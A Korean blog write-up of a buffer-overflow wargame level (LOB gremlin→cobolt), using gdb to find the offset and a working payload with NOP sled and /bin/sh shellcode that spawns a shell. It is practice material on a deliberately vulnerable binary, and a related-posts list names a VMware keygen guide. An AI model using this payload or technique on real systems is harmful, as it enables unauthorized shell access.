ANX1-Z3R0의 불안극복(不安克服)

002. lob 2번 | anxi0 본문

HACKING/[SYSTEM HACKING] LOB

002. lob 2번 | anxi0

ANX1Z3R0 2020. 7. 28. 01:02

cobolt를 한번 뚫어보자구

login: gremlin

Password: hello bof world

 

문제 분석 ㄱㄱ

소스코드

버퍼가 작은 문제이다.

큰일 났다.

쉘코드를 어디넣어서 실행시키지?

일단 gdb분석을 해보자. 어떻게든 방법이 나오겠지

 

전과 같이 test폴더를 만들어서 원래 파일을 복사해주고 gdb로 분석 시작

>>gdb -q ./cobolt

(gdb) set disassembly-flavor intel

(gdb) disas main

똑같이 strcpy가 문제이므로 strcpy 이후에 브레이크 포인트를 걸어서 공격을 수행한다.

(gdb) b *main+53

 

아무 값이나 크게 넣어보자

(gdb) r `python -c 'print "A"*100'`

했더니... 웬걸 buffer+sfp+ret(24byte)이후에도 값이 들어간다!

그럼 ret뒤에 쉘코드를 넣고 ret주소를 ret 뒤로 넣어주면 되겠군!

 

페이로드(공격법)

buf+sfp(쓰레기 값,20byte)+ret(ret 뒤 nop sled 중 아무 주소,4byte,0xbffffad0쯤) + nop sled(아무 byte) +쉘코드(이전에 사용했던 24byte shellcode)

 

`python -c 'print "A"*20 + "\xd0\xfa\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

 

본 파일에다 공격해보자.

>> cd ..

>> bash2

>> ./cobolt `python -c 'print "A"*20 + "\xd0\xfa\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

 

done.

'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글

004. lob 4번 | anxi0  (0) 2020.07.28
003. lob 3번 | anxi0  (0) 2020.07.28
001. lob 1번 | anxi0  (0) 2020.07.28
.iso 파일 VMware에 적용시키기  (0) 2020.07.11
VMware 15.5 pro keygen 설치 방법  (0) 2020.07.11
Comments